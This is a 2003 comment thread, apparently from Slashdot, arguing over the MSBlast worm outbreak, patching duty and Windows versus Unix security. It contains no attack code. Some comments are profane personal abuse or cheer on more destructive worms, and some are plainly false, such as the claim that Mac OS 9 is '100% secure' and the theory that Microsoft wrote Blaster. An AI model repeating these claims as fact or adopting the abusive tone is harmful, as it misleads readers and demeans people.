I'm going to have to sit on the other side of the fence for this one boys and girls. I don't think that this shows that Microsoft's OS's suck, it just shows that they are the best target.

Re:MICROSOFT IS AWESOME

[Tudil Di'Masharen]

*gasp*
"Where the hell is Linux Solitare?! And I can't seem to find Minesweeper either..." =(

paper records

[gmhowell]

That's why the section of the MVA (not the DMV in MD) that I work for keeps paper backups of everything. Oh, wait, nothing is kept anywhere but paper. Funny thing, paper. Seems to have been working pretty well for a couple of years.

(My latest journal or two should describe my 'work' with the MVA. Lots of outside work, and a shoestring budget. Using laptops or some other techno-trash isn't going to happen. But, again, we'll be working.)

The only crappy aspect is that who knows whether or not this will delay a paycheck:(

University of Kentucky Hospital

[alfredo]

uses Solaris in ICU. DOS is used in admitting, and the drones use Windows.

Script kiddies or terrorists

[acoustix]

"I am sure the "haxor" would have been really proud of his/her self if he/she proved their point by porking say a hospital's computer system. What an asshole."

Let us not forget that there are people who are out to disrupt government opperations and injure/kill people in hospitals.

Why does everyone assume that this is a "script-kiddie" sitting in their parents' basements writing worms? There are plenty of evil/sick people who would love to see communications disrupted so they hurt can us economically and possibly physically.

Re:Script kiddies or terrorists

[SubjunctiveSam]

They assume that because the message the worm leaves behind sounds like a script kiddie.

don't think win2k was a complete rewrite

[JimmytheGeek]

I had not heard any claims of a complete rewrite. To me, it looks like warmed over nt4 with the substantive changes divided being cosmetic, gratuitous UI alterations (so the admin applets are in a new spot, just to annoy) and more radical new ways for other machines to interact with the system.

A little hardware support - they had a USB driver for nt 4 widely deployed all over the redmond campus, but not released so users would have a reason to buy a new os.

I don't know if it is better code/design than nt 4 or better drivers or my anecdotal impression of better stability is incorrect. I think security is worse.

XP added a lot of lines to win2k, but it still uses a lot of the same crap.

In the consumer OS evolution, there wasn't much difference between win95 osr2 and win98. Throw in some patches and you have a more complete evolutionary chain than we have for human descent. Which is another way of saying we all got charged for bug fixes.

Re:don't think win2k was a complete rewrite

[Anonymous Coward]

I remember that 2K was claimed to be an 85% rewrite (can't find any such quotes on Google). However, NT4 was shit, 2K was shit. The rewrite didn't appear to get them anywhere ...

Re:its important to note that windows update patch

[Anonymous Coward]

Your left eye involuntarily twitched while you typed all that, didn't it?

Seek help, dude.

Are systems behind a NAT modem/router safe?

[grolschie]

Like the subject asks, are systems behind NAT safe? I would guess that it cannot connect to local IP addresses behind a NAT router/modem. Or am I wrong?

Re:Are systems behind a NAT modem/router safe?

[wo1verin3]

If a system outside the modem/router can't access port 135 on the machine in question, you are REASONABLY safe for a few minutes until you have time to install the update.

Not installing a free update to fix a problem like this is just asking for trouble.

Re:Are systems behind a NAT modem/router safe?

[Anonymous Coward]

Depends on what the NAT is doing for you. If (for instance) you have a LAN behind the router but at the same time have an internal mailserver, you'll almost have to have at least the mail ports locked to a live interface inside (unless you're doing something unusual with your mailserver, and your ISP is providing store and forward with you only connecting on demand.) Is your router only passing traffic over the mail ports to that box, and is that box not running any Windows server OS?

And this is all assuming that no one in your org has a laptop - our machines are all patched. 'Ceptin' for a person who's personal laptop appears on the network, and who went on vacation three weeks ago.

Fortunately, all of our machines are long patched, so even if this person had decided to plug in after seeing the 'funny behavior' on the laptop, it wouldn't have been able to get far on our LAN.

Most home machines which are behind NAT "routers" don't do port filtering outbound. So if a kid gets something bad when she's at school and comes home to the DSL feed a) your XP box is infected and b) you've got two machines searching the net for further targets over your DSL feed.

Yay, Employment!

[Splat]

So, as a Philadelphia area resident can anyone get me a list of infected business/departments so I can fill the positions of the soon-to-be-fired IT Staff?

Yes - I am partly serious.

Re:Yay, Employment!

[Zarf]

So, as a Philadelphia area resident can anyone get me a list of infected business/departments so I can fill the positions of the soon-to-be-fired IT Staff?

The note I just got said those jobs are being outsourced to India. Sorry you're still out of luck. :(

Re:Yay, Employment!

[Anonymous Coward]

"...the soon-to-be-fired IT Staff?"

i doubt anyone is going to lose their job over this, i have noticed over the past 5 years that IT is an acountability free field. no one is ever responsible for the never ending stream of disasters. knowing what you are doing doesn't seem to be a job requirement.

Re:Yay, Employment!

[JimC93SW2]

I have worked in government and I have worked in non-profits and (mostly) I have worked in corporate (Fortune 500) IT shops. Government is the worst: If you make a mistake your name gets in the newspaper (see above) for all your friends and family to read. In the corporate world if your systems got the worm this week then your company is terrified of any publicity which would indicate that they do not know what they are doing, so they will not even admit it happened let alone fire you. They are more likely to move you into management where (the theory goes) your incompetence won't hurt, although these days you might be in the next layoff. Of couse you also might be in the next layoff even if you are the IT guru who has kept them in business for 20 years.

Re:I Don't Disagree either

[JimmytheGeek]

Admins should patch, no question. And there are some basic things we should all do no matter what platforms we use. My net does not allow outbound packets unless the source address is our net. That kind of thing.

I guess I think it's reasonable to get caught flat-footed once in a while by this stuff. Even the microsoft download site - where you could get the patch to prevent Code Red - was itself nuked by Code Red. If they can't do it all the time, it's not reasonable to expect everyone else to.

I think the real solution is to migrate to better platforms. "Better" includes considerations besides how fast a half-trained web lackey can smack out a superficially functional .asp page.

I don't know how the liability would play out. Seems it's hard enough to punish deliberate, manual crackers and fraudsters, even when you locate them for the authorities. There's been enough of this stuff that to my mind the common custom ==> common law is that you don't have grounds to sue, since millions of people haven't. Dunno. And if you got infected, aren't you guilty of the same negligence? I suppose if you got hit with a side-effect, like the DOS that will hit the Windows Update site, that's different.

I've a geek friend who worships Dave

[JimmytheGeek]

She said he got demoted to mere lead programmer or something around nt 4.0 MS has a weird habit of giving 25 year olds executive authority over some major projects. The PM's were not the best coders who had been promoted.

On the other hand, they sometimes value the programmer much more than the programmer's supervisor. The place is a political snake pit, but they do avoid some Peter Principle issues.

Anyway, she noted seeing his sports car (ferrari?) in the parking lot on weekends when she was about the only other person there. He worked long hours even after NT went someone else's way.

Oh come now,

[TCaM]

if this person ends up in prison they'll be much more popular with NO teeth.

Re:Thanks for nothing.

[broken.data]

But.. they too would be a Windows user!!

Unless they skipped the whole QA portion of programming and decided not to test it on their own Red Lan systems...

Am I the only one concerned...

[wo1verin3]

That we may never get rid of this worm completely, at least not for a long time...

Patches for the hole, except for Windows NT 4.0, which the company no longer supports, were put online by Microsoft.

Source: Channel NewsAsia

There are A LOT of companies still running NT on both servers and workstations, last time I was in a major server room at Big Blue, well I won't name clients, but several large name clients have NT based server solutions. Yes I know blocking certain ports will stop it from getting in, but there is still potential for many NT systems not to have those ports blocked now, or in the future.

Re:Am I the only one concerned...

[Xonea]

Microsoft disagrees:

Patch for NT 4.0 Server / Enterprise Edition
Patch for Windows NT 4.0 Terminal Server Edition

Re:Am I the only one concerned...

[MoosePirate]

That's not true, so no worries. Microsoft does have a patch for NT4. Blaster doesn't hit NT4 machines though. Other worms using the hole do. This link has information about it.

Re:Am I the only one concerned...

[Demerara]

Strange,.. I got NT patch from here..
http://www.microsoft.com/technet/treeview/ default. asp?url=/technet/security/bulletin/MS03-026.asp
W here were you looking....

Michael

You are an ignorant idiot.

[jotaeleemeese]

The fucking patch did not work. I have being awake all night trying a new version of the patch and appliyng work arounds...

Re:You are an ignorant idiot.

[Anonymous Coward]

I have elderly female customers that figured it out quicker than that.

You did remove your net connection while trying all this, didn't you? I can see it now..

Clean.. reboot. Reinfect.. Patch.. Damn still infected.. clean.. reboot.. reinfect..

---
Posting as AC just to piss this idiot off.

Re:Thanks for nothing.

[Anonymous Coward]

please lower your threshold before posting

Stop the mainstream bullshit

[jotaeleemeese]

Apache is mainstream, IIS gets trashed.

That should be enough to prove how deeply flawed is the "if it is mainstream you will be 0wn3d" mentality.

Re:Stop the mainstream bullshit

[IM6100]

IIS tries to do a lot of things that you need tons of modules to do with Apache. And the Apache modules open up vulnerabilities.

IIS is really intended as a 'workgroup Information Server' kind of thing, for companies. That's why it's all integrated with Office, etc. An IIS server being used in a department within a company can be configured so that the department secretary can click 'edit' on her IE browser she's presented with a User/Password dialogue, then the page is pulled down and she can edit it with Microsoft Word or Excel, then save it back to the server.

When that kind of functionality is pushed out into the 'real world' of the Internet, instead of the office intranets where it's really best suited, it's not surprising that the holes and vulnerabilities pop up. That kind of functionality is a LOT more expensive and a hassle to implement using Apache.

IT staffers resent it when something is easy and inexpensive to do. That heritage goes way back to the dumb terminals and the power that IT once wielded in most companies.

Re:Stop the mainstream bullshit

[Anonymous Coward]

webdav expensive an hassle? no

Re:Thanks for nothing.

[ratfynk]

A funny thing happened to me using wine I downloaded a script that used VB extentions, it actually crashed Xwindows. I cannot for the life of me figure out how the hell it did it.

However you are essentially right, to create a dcom function exe you need to use MS script libraries that only run on the MS Visual Studio compiler set. To my knowledge I do not know of anyone who has made the MS compilers run under Wine. It would run like a dog with a broken hind leg anyway, and most likely would not get anything compiled into a binary. No who ever built MSblast.exe used an MS compiler. That is almost for certain.

Let me count the ways....

[gad_zuki!]

> I say screw those who didn't patch

1. Companies may still be evaluating it before putting it on their production servers. So if their e-commerce site went down because of this patch would you also say "screw them for not testing properly?"

2. "Road Warrior" laptop users who tech support hasn't had a chance to update yet.

3. Home users who dutifully update their virus scanners, pay Norton, and are careful not to open wacky attachment but have no idea about how remote exploits worked.

4. Failed patches and false positives.

5. New computers straight from dell or whomever that bundle and auto-setup everything except autoupdate. Hmmm, that sounds like a big problem to me.

6. "Early victims" who were infected well before the patch was available or before their computers could download it automatically.

7. The technical clueless that have no idea what a virus is or let alone a worm is. Who's job is it to teach them the ins and outs of security? Maybe MS could make a more secure product or at least put as much effort into alerting the user about security as it does trying to break competitors. Crazy, I know. /insert obrant about how Windows is a poor system in regards to security and how patches and virus scanners are post-attack fixes. Someone has to get infected first you know. //or insert obrant how how Bush's DOJ let MS off and now we are sowing the seeds of cronyism.

Re:Let me count the ways....

[Anonymous Coward]

When a consumer buys a PC with Windows XP one of the first things that pops up is a dialog asking the user to set up automatic updates. It describes the importance of keeping the machine up to date. By default the user will be alerted everytime that there are new patches. The user can decide to have them automatically install, but YOU fucktards would have serious issues with that.

The vast majority of viruses released (and ALL viruses released that have had any media attention) were all post-fix attacks. In fact this is the fastest fix-to-exploit I've yet to see.

Pay fucking attention.

Re:Let me count the ways....

[Overly Critical Guy]

1. Companies may still be evaluating it before putting it on their production servers. So if their e-commerce site went down because of this patch would you also say "screw them for not testing properly?"

It was a tiny 800kb download that plugs a hole in RPC. It wouldn't have brought down an e-commerce site. It's your fault if you risked it by not applying.

2. "Road Warrior" laptop users who tech support hasn't had a chance to update yet.

Still not Microsoft's fault. They released the patch the day this exploit was announced and discovered.

3. Home users who dutifully update their virus scanners, pay Norton, and are careful not to open wacky attachment but have no idea about how remote exploits worked.

If they dutifully update their virus scanners and so forth, they will also have turned on Automatic Updates. Come on, you purposely ignored that feature.

4. Failed patches and false positives.

Name one.

5. New computers straight from dell or whomever that bundle and auto-setup everything except autoupdate. Hmmm, that sounds like a big problem to me.

Auto Update automatically bugs you when you first run Windows XP. It's only a problem if you decide to ignore it. Again, this is not Microsoft's fault.

6. "Early victims" who were infected well before the patch was available or before their computers could download it automatically.

The patch was released 7/16! The worm started hitting a couple of days ago.

7. The technical clueless that have no idea what a virus is or let alone a worm is.

It doesn't matter. XP lets them know Auto Update is the recommended option, to the point that it pops up a balloon in the system tray and won't go away until you respond to it. The patch would have been downloaded, or at least announced to the user. What does it matter if someone does or doesn't know what a virus or worm is? "Critical Updates" would still have been installed.

Who's job is it to teach them the ins and outs of security? Maybe MS could make a more secure product or at least put as much effort into alerting the user about security as it does trying to break competitors.

The patch was out that very day.

Crazy, I know. /insert obrant about how Windows is a poor system in regards to security and how patches and virus scanners are post-attack fixes. Someone has to get infected first you know. //or insert obrant how how Bush's DOJ let MS off and now we are sowing the seeds of cronyism.

Lame anti-Microsoft anti-corporate spiel. Face it, the patch was out LAST MONTH! It's been on Windows Update since 7/16. It's less than a megabyte to download. All it does is plug the hole in RPC. This is not rocket science here. This worm simply exposed all those people who have learned the hard way that you actually have to apply critical updates to the operating system you use when its maker releases them.

If this was a Linux worm, your tune would be 100% the opposite. You'd be bitching at people who didn't "patch to the latest versions." But, it's Windows, so you need something to criticize Microsoft for, when this wasn't their fault. People who patched went untouched. I didn't even know there was a worm going around until I read about it on Slashdot, because I--horror of horrors!--keep my network updated.

Re:Let me count the ways....

[secret_squirrel_99]

1. Companies may still be evaluating it before putting it on their production servers. So if their e-commerce site went down because of this patch would you also say "screw them for not testing properly?"

2 WEEKS isn't enough time to test a simple hotfix? All of microsofts biggest customers including all premier support customers got phone calls in addition to the normal emails emphasizing the unusually extreme urgency of this particular fix.. Perhaps testing it should have become a priority

2. "Road Warrior" laptop users who tech support hasn't had a chance to update yet

These systems should have at an absolute minimum a virus scanner with some means to update pattern files automatically. All of the major vendors had pattern files out more than a week ago

6. "Early victims" who were infected well before the patch was available

These would be who exactly? The patch was available for more than 2 weeks before the first exploit appeared.

The technical clueless that have no idea what a virus is or let alone a worm is. Who's job is it to teach them the ins and outs of security?

Who taught them that its a bad idea to leave the keys in the ignition when they park for the night? People need to take it upon themselves to learn at least the basics of how their devices operate. Learning and practicing the very basics is not too much to ask. And have you ever bothered to watch that silly little video that plays with every new Windows install? It explains in language a trout could understand how to use Windows Update

Ummm, no

[Sevn]

You must be young. "Virii" are almost exclusively a Microsoft phenomenon and have been since Microsoft had very small market share due to the poor security and "always root" nature of the OS. You are trying to use windowspeak to describe other things. The only significant UNIX worm was the sendmail worm. Other than that, there hasn't really been much. There was the DNS/Bind worm a little while back, but it didn't propogate nearly as fast due to the increased diligence your average UNIX admins has compared to the typical "set it and forget it" attitude that's popular with the windows family of server OS's. Growing up during the time, problems with "trojans" and worms and whatnot were never really that big of an issue with UNIX because the barrier for entry was enormous. You had to understand a great deal about C, socket code, and other not easily obtainable bits of knowlege to even begin. Most "hackers" weren't malicious when UNIX ruled 90 percent of the roost. Only with the coming of Microsoft did the true rise of the "script kiddy" occur. When it became easy for any moron to download precompiled crap and run it on their windows box to attack other windows machines is when there was truly "TONS" of this kinds of stuff. Very sad, but very true. Windows is a target because it's a very easy target. These people are lazy. Windows is shooting fish in a barrel compared with having to deal with obtaining root permissions, or the ridiculously rapid rate with which UNIX systems are patched, and get patches. With most UNIX systems, a patch is out in HOURS as apposed to weeks or months with microsoft sometimes. There is a fundemental difference is how things are done in both camps. Microsoft could learn a great deal from UNIX if they'd bother. They only have about 50 billion dollars to spend on making their systems better yanno. I'd think that would be pretty obvious to even the most biased sympathizer.

Re:Ummm, no

[Kenja]

Off the top of my head, the Christmas Tree Exec worm, the Internet Worm and the Father Christmas worm. In addtion the first documented virus was on a VAX 11/750 system running UNIX. Declare all you want that UNIX is invulnerable, its realy no sweat off my back. However claiming that there where no problems with viri, worms etc before Microsoft just makes you look silly.

Re:Ummm, no

[Sevn]

I didn't say there were no problems. Just less. And claiming otherwise shows your bias. Google all you want for any obscure references you want. I lived it. Your diehard defense, likely of your livelyhood is commendable, but still not rooted in reality. Your next reply is undoubtedly going to be filled with your list of OS's you are an expert on, and why you aren't possibly a biased windows zealot. You are truly that transparent. Nothing I haven't seen before. :) Do us both a favor and just don't bother. The points I made that you didn't bother to comment on do more to show your true colors than the ones you did poorly attempt to refute. :)

Yeah, we know.

[jotaeleemeese]

Apache is the most popular web server. It gets hammered harder by the script kidiies than IIS.

Who installed the logic module in your brain?

You got it straight

[lonney]

I'm a sys admin for a hospital, we simply dont have the funding for nice stuff like that or enough IT staff. We just gotta make do with what we got.

Re:You got it straight

[Glonoinha]

I was tempted to laugh, but I applied at a hospital about 5 years ago. Went in, they were impressed with me, I was impressed with the atmosphere that I was allowed to see, technology wise I was a perfect fit, opportunity wise they were appealing to me (particularly I could have come in and been immediately productive, and they were about two blocks (bike riding / walking distance) from my oceanfront condo.) Everybody was hugging and laughing and kissing and making long term plans when the HR lady got down to brass tacks, asked what it was going to take to get me in there ASAP. I saw many intangible benefits to working there that gave them additional value as an employer above and beyond dollar signs, I let her know I would be willing to make the move for exactly what I was making at existing position ($53k plus bonus and 401(k) matching, totalling about $60k in cash compensation.) She went white as a ghost, looked around to assess the looks on the faces of the other guys from the IT department (who all freaked out) and said something to the effect of 'don't call us, we will call you' and had me escorted to the front door.

Lonney, I'm not laughing at you, I'm laughing with you.

You are talking about crackers.

[jotaeleemeese]

PLease use the correct terms, we are suppossed to know the lingo.

Enron dollars

[Anonymous Coward]

When you have 50 FUCKING BILLION dollars in the bank...

What makes you think it's real money. Have you seen it?

Or is it an urban legend built on Enron-style accounting practices?

Re:WMW: Whatever McDonald's Worker!

[Stevyn]

The ability of ms programmers should be commended. Like clockwork they ensure people must update their software every week and upgrade it every couple of years.

This business strategy of having your customers depend on you to prevent these pathetic hacks works well for them. What other company in these times has $50 billion in cash?

The only thing that can help or even fix this is competition. We all know that's not going to be from apple anymore, so maybe linux.

Text in the Virus

[ChopsMIDI]

According to the Symantic page regarding the worm:

The worm contains the following text, which is never displayed:

I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!

So it seems the creator did have a point to prove.

Wonder if...

[Chicane-UK]

...we will see some kind of press release from SCO reminding us how bad IBM & Linux is, just to help divert our attention away from the current chaos of this Microsoft worm.

Just one for the MS/SCO conspiracy theorists :)

COCKSUCKING MASTER ^^

[Anonymous Coward]

Get it through your thick skull. You're a no talent, fucking moron. You never had, don't have, and never will have any skill on this website. It's better for you to just leave while we are being so polite. It will get much uglier, believe us.

Apache is a brick

[KalvinB]

IIS is a Swiss Army knife.

I run Apache precisly because it doesn't do anything extra. Lack of functionality doesn't make it more secure than something of greater functionality. It's apples and oranges. As someone else mentioned, Apache has modules that open up the same/similar vulnerabilities as IIS.

IIS gets hacked from remote administration exploits and the fact it's tied in the to OS. Which is precisly why I dumped Linux which stupidily ties in FTP to the OS.

App accounts should NOT be system accounts. If I want to have the same user and pass for HTACCESS, FTP, SMTP, POP3, and VNC, I'll set up the seperate programs handling them to have the same user and pass in their respective account files. I don't want the OS to handle all the passwords. When you do that, then getting a password means you have access at some level to the OS which leads to escelation hacks. The intelligent way where say an FTP count has nothing to do with a system account, getting a username/pass only gets you into the FTP account.

If you get a password for my mail server, worst case you can read my e-mail. If you get a password for FTP, worst case you can change some files.

Ben

Re:Apache is a brick

[larien]

OK, first off, it's easy to set up a system account to only allow certain access. If you don't want them to log in, set the shell to /bin/false (or whatever). Similarly for POP3 etc.

Secondly, most of those systems have versions which can use LDAP and/or a database as authentication sources, freeing it from the OS.

Thirdly, you've just annoyed people who have access to these different systems as they now have to change their password in 3 (or more?) different places.

Re:Apache is a brick

[Anonymous Coward]

Perhaps you should learn how to use the software before you start whining that it behaves stupidly. There are dozens of FTP servers that allow you to create separate accounts, dozens of POP3, IMAP, HTTP, etc that are capable of the same thing.

If you dumped Linux because you couldn't bother to learn how to correctly configure the software, or even bother to search for software that automatically does what you want, what makes you think some other operating system is going to help you?

Re:Apache is a brick

[Alioth]

> Which is precisly why I dumped Linux which stupidily ties in FTP to the OS.

Linux DOES NOT tie FTP into the OS. Where did you get this idea from? I've never found a kernel FTP daemon. Most of my Linux and BSD systems don't even run ftpd at all.

Re:Windows rules.....obviously

[IM6100]

Microsoft is already on it. The whole .NET initiative. You didn't think they were going to keep on keeping on with the old ways, did you? Subscription software all the way. They'll make more money that way, and with them in control of your system, the problems seen here will go away, i.e. every one of the problem machines out there right now would already have been patched automatically.

This whole crisis is an opportunity for Microsoft to hype what they've been hyping recently (subscription software, downloaded from MS regularly).

Re:Windows rules.....obviously

[Anonymous Coward]

Yep. They're stupid idiot users.

Keep insulting them. They'll grow to love Linux with advocates like you harping at them.

Re:WMW: Whatever McDonald's Worker!

[Anonymous Coward]

I thought Apple had a new enterprise software rollout....

Re:I Don't Disagree either

[Farley Mullet]

I suppose if you got hit with a side-effect, like the DOS that will hit the Windows Update site, that's different.

That's the sort of situation I was talking about. Or situations where company x was paralyzed because company y's network was down, but (after I actually think about it for a second) it seems to me that almost any case like that would be covered by some sort of contract, whether y was an ISP or a datacentre or whatever. However, it still seems to me that there's a certain sense in which the Internet is a commons, and we may end up with the government regulating networked computers as such. Depending on the scale of the infection, the DOS on the 16th could make the whole bloody net crawl, if too much bandwidth is consumed. Enough occasions like that might motivate the government to impose more standards on system maintenance.

Ermm.. no

[poptones]

I believe this is a side effect of the Windows dominant world. Many people have no idea that there is an alternative.

Uhhh.. no. This is a side effect of a homogenized world. It's no different than growing a forest of cloned trees, or a race of cloned people. Because they are all identical, they all suffer the same weaknesses. As a result an infestation that would ordinarily kill hundreds instead ends up killing off the whole forest - or an entire race.

If everyone had macs (or linux) virus writers would be targeting macs or linux. The problem isn't just windows: it's that a single OS - a single "species" - is far too pervasive.

Re:Ermm.. no

[OmniVector]

actually you're wrong. partially at least.

macs are a bit more homogenized, so if a virus came out that effected os x, it would pretty much work on every os x machine. however, unix by it's nature is a more secure design. separation of privledges (root/users) and a general better trackrecord of security flaws in general shows that it is more secure than windows will/if ever be.

with linux it gets even better. the words "homoginized" and "linux" barely to go together at all. linux has different directory layouts, libraries, and services per distro. the only way you could guarantee to get a virus to run in linux is to staticly compile it. all in all if everyone were using mac or osx tomorrow, viruses would become a very rare occurance in the computer world, and the speed at which a patch is released would be 10 times faster than windows.

Admins without a clue...

[26199]

"I'm unaware of the [Microsoft] patch being available," said David Hugel, the deputy chief administrator of the MVA. "I've talked to our IT people and we weekly update the virus protection we do have, and this just happened to fall between those points when we had updated it and we didn't have the [new] update available yet."

How about downloading security patches, too?

Judgement Day

[otuz]

I suppose Skynet 1.0 is released soon.

We've been lucky so far

[edxwelch]

Enevitably, some report will appear in the papers saying the MSBlast worm caused $ X million worth of damage, but really we've been lucky so far with Malisa, Code red, Simba etc. None of them have had any serious payload. I think people forget the real harm that the virus author could have caused if he/she so wished (corrupting your data files, or formating your harddisk, for example).

MILLENIUM EDITION - ME

[Anonymous Coward]

" How do you know this person was trying to get people to switch to Linux (or anything non-MS)? S/he could just be an ordinary asshole, without a point to prove."

Actually they want everyone to switch to Microsoft's Millenium Edition (ME) version of their operating system. This worm has NO effect on ME.

More info again

[pavera]

This virus also appears to cause the system to open the "My Documents" folder whenever a user logs on to the system, it opens that user's my documents folder (at least, that is what it seems like all three of the infected machines display this behavior)

Re: non-system users

[pacman on prozac]

most daemons/services are capable of authenticating users via PAM or from an SQL database.

for apache, PAM auth, mysql auth and postgresql auth.

for ftp you could use proftpd and ignore system accounts completely, it supports quite a few alternative methods.

for the email solution use something like vpopmail with no system users and supported by quite a few MTA/POP3 agents.

If you don't want the OS to handle the passwords, then you can set it up so it doesn't. By default system accounts are normally used which I assume is from the era of people having shells and doing * from it, ftp/read mails/etc in which case things would use the standard system accounts..

YOU ARE WRONG : Mac OS is 100% secure

[Anonymous Coward]

YOU ARE WRONG : Mac OS is 100% secure according to WWW consortium and SecurityFocus's extensive database of exploits.

Webservers wunning mac OS 7 through 9.2.2 (the latest) have never once been exploited in the history of the internet.

This includes load distributed webservers on MacOS run by army.mil and many large universities.

no mac have wever once been exploited because of technical achievements in the mac OS.

I am not talking about unix based "OS X" which has already had over 30 known security holes, I am talking about the 100% secure mac OS 9.

Therefore you are wrong.

Consult BugTraq if you doubt me.

Read and learn.

there are 100% secure OSes...

Re:YOU ARE WRONG : Mac OS is 100% secure

[LibertineR]

Really? Why dont you give me your IP address, and we shall just see about that?

Re:This Patch does NOT fix the vulnerability

[Ahaldra]

there has been a patch for this on Windows Update since July 16.

This is a very specific patch, that does not fix all of the RPC implementations vulnerabilities. To be on the safe side until MS gets off their lazy ass and does a REAL patch, block UDP- and TCP-Ports 135 to 139 and I'm not sure but I read ports 445 (Microsoft-DS) and 593 (HTTP RPC Ep Map) should be blocked too by your firewall.

Happy patching.

there is no code just a forum full of n00bs

[Anonymous Coward]

there is no "code" just a bunch of n00bs looking at packet captures while other people interject "whats a packet" and "if i knew about computers i would help" , hell they even reccomend Steve Gibsons site (grc.com) to check if they are infected and as anyone with a clue knows he's not worth listening to

of course if anyone has a complete dissasembly then post away , but at the moment there is nothing of value in any of dslreports threads

THERE IS NO CODE JUST A FORUM FULL OF N00BS

[Anonymous Coward]

there is no "code" just a bunch of n00bs looking at packet captures while other
people interject "whats a packet" and "if i knew about computers i would help" ,
hell they even reccomend Steve Gibsons site (grc.com) to check if they are
infected and as anyone with a clue knows he's not worth listening to

of
course if anyone has a complete dissasembly then post away , but at the moment
there is nothing of value in any of dslreports threads

Not all of us

[denjin]

Not all hospitals do.

I work for one of the largest health care systems in the US, and we didn't even hardly get touched by this new virus. We did have I think one office (NOT in a hospital, one of the 'corporate' ones) get hit by this, but it only affected a handful of users.

Then again, we are tortured by VMS and some Sun Mail programs... ;)

Re:Yes well no.

[Anonymous Coward]

I couldn't disagree more. While this virus writer did do something bad, it has good side effects.

Think about those government records, think about your info in those records.

Think about a cracker, think about a him stairing in disbeleif why his nmap scanner is picking up port 135 open on each computer. And all those computers are unpatched.

Think about that cracker exicute abritary code on those servers, undetected, unkown. Think about him downloading and installing a root kit and covering up his tracks. Think about this cracker working for a terrorist group.

Think about them having unfettered access to machines that have criminal databases and are used to authenticate and create new ID's.

This virus maker did use a favor. I'd rather have a government machine go down for a couple hours rather then have it under the control of a malisious hacker. At least this way they will get it patched.

Re: Political Agenda is MS

[Anonymous Coward]

Hey Guys and Gals,

No matter how we look at this - I personally find the fact that people continue to exploit disturbing. I mean seriously, why can't we save these things - for instance when MS does a major OS rollout in public?

Ok, I'm not being very clear - my concern is *Nix got so good because of years upon years of hacking, cracking, and fine tuning. As of right now MS isn't paying anyone to find holes (well presumedly), they are getting some pretty bright folks finding very good holes - they are PATCHING THEM. What does that mean? Pretty simple if you ask me, with each exploit and patch - MS is on its way to making a better, and better, oops another patch, and better OS. People aren't migrating like we thought they would - even with the hassle. So keep exploiting you morons - lets bring MS to its knees!!!! Yeah right - keep dreaming, keep finding the holes so MS coders can do their typical HALF *ssed job all the while allowing us to fine tune their OS. :( Cut it out guys, every patch is another nail in the coffin (big picture here *nix guys don't go nuts).

This much damage from half a worm

[SgtChaireBourne]

The sad part is the MSBlast worm is terribly inefficient and poorly designed, yet still has caused this much disruption. Even Slammer, which reached saturation in 8.5 minutes, infected very few machines, caused trouble by eating bandwidth. Think what would have happened if it did something more malevolent.

It's not a new problem. Nor is any amount of wishful thinking is going to fix the problem, Microsoft's products just aren't engineered for security. It's a problem that would take years to fix. Bill Gates himself made allusions to the U.S. Apollo space program of the 1960's which was $25 billion over 10 years. However, for the time being, the security issue is treated like a PR problem and the customers are taking the lumps.

A this point the problem is sociological or psychological. Like any other cult, Microsoft provides a sense of purpose and belonging to it supporters. Note that neither a technical background nor even an analytical way of thinking is a prerequisite, thus fulfilling even the unconditional acceptance aspect of a cult.

As much as IT staff and, especially IT manangers, admire the personal wealth of Bill Gates, they just need to be able to let go of Windows and move on.

Move on, either to Macintosh or Linux or QNX or BSD or Novell there are many choice. There will be some up front costs, but even without the viruses and worms these upfront costs will be offset by the number of maintenance hours saved.

Re:This much damage from half a worm

[Anonymous Coward]

I installed RedHat 9. It's nice. Free. Lots of features.

But I received security updates from RHN several times a week saying that this or that vunerability could be exploited and needed to be patched. M$ warned about this a while ago and the only reason this is a problem is because people didn't patch up their SW. Same could happen in Linux if it had as big of a footprint.

Just my $0.02

Re:This much damage from half a worm

[TheLastUser]

Got that right. What irritates me is that, even though I would never use win32 in my server environment, I am forced to do so by software vendors that refuse to port their shitty code to a unix platform. And yes I will replace this vendor asap, but it ain't easy. It would a whole lot easier if they would get their heads out of their buts and just port their code.

Re:This much damage from half a worm

[Anonymous Coward]

Think what would have happened if it did something more malevolent.

I'm just waiting for the one that completely erases the hard disk, BIOS, whatever it can (after trying to spread of course). This half-assed kidding around gets boring. Kick those who use M$ in the nuts real hard. Maybe they wake up then.

This guy ruined it for the rest of them

[hondo_san]

I can imagine the ire that l33t haXors/crackers are voicing about this. The worm infects. The worm is easily removed. The patch is applied. For most systems, if not all, this fixes it. (Disclaimer: I have not yet removed this from a system. I have only talked to colleagues that have, and customers who have been affected.)

Let's try to imagine if it carried a Chernobyl-like payload, or the feared root name server DDoS. Man, that's scary. So, the first one with an exploit ruins it for the rest, as at least some of the world finally realizes that it needs to patch, rendering the real killer-virus less effective, should it ever see the light of day.

I guess in that context, we should be grateful. It's kinda like if your're walking down the street in a bad neighborhood. Wouldn't you rather have some a**hole just slap you in the face, rather than said person walking up and shooting you?

Re:This guy ruined it for the rest of them

[gatkinso]

Perhaps Microsoft wrote Blaster themselves, intentionally keeping in realtively innocent.

Consipracy theory anyone?

W32/Blaster, as in GNU/Linux

[200_success]

Actually, several anti-virus companies named this worm W32/Blaster. There ought to be some kind of campaign to make sure people call it W32/Blaster, and not just Blaster. Where's RMS when you need him?

Could be worse

[cparisi]

I do not know the intentions of the creator of this virus/worm, but it could have been a lot more malicious. It will hopefully be a wake up call to people to secure their systems, before something really bad is unleashed.

Re:WMW: Whatever McDonald's Worker!

[LordLucless]

you should probably think about spending a few billion on making products that don't cost your customers insane amounts of money and lost productivity due to down time because of pathetic security and coding practices.

Yeah right, how are you going to get them to buy Windows ZP 2005 then?

You have to think of it this way

[Stoggie]

This virus patched billions of systems in a quick amount of time. With these systems unpatched... Much worse things could have happened. The virus maker did Microsoft a favor by releasing this. He made it annoying as possible without doing any serious damage. Making it annoying made you do something to fix it.
And if you didn't patch, well it's your fault. You were bound to get your system ripped open sooner or later anyway. So now your system is fixed.. You are less likely to recieve a virus that will destroy your system.

Re:Thanks for nothing.

[Anonymous Coward]

Especially since writing a Windows virus is easier than trying to get the dependancies straight for all of the packages I want installed.

Microsoft did put out the patch

[catherder_finleyd]

Microsoft did make the patch available well before the worm was unleashed. If people would regularly check "Windows Update" (http://windowsupdate.microsoft.com), or enable Microsoft's Update download capability, this would NOT be an issue!

Re:Microsoft did put out the patch

[TheLastUser]

This is bullshit, I installed a w2k box last Friday and applied every patch that was available. There was no patch for MSBlaster.

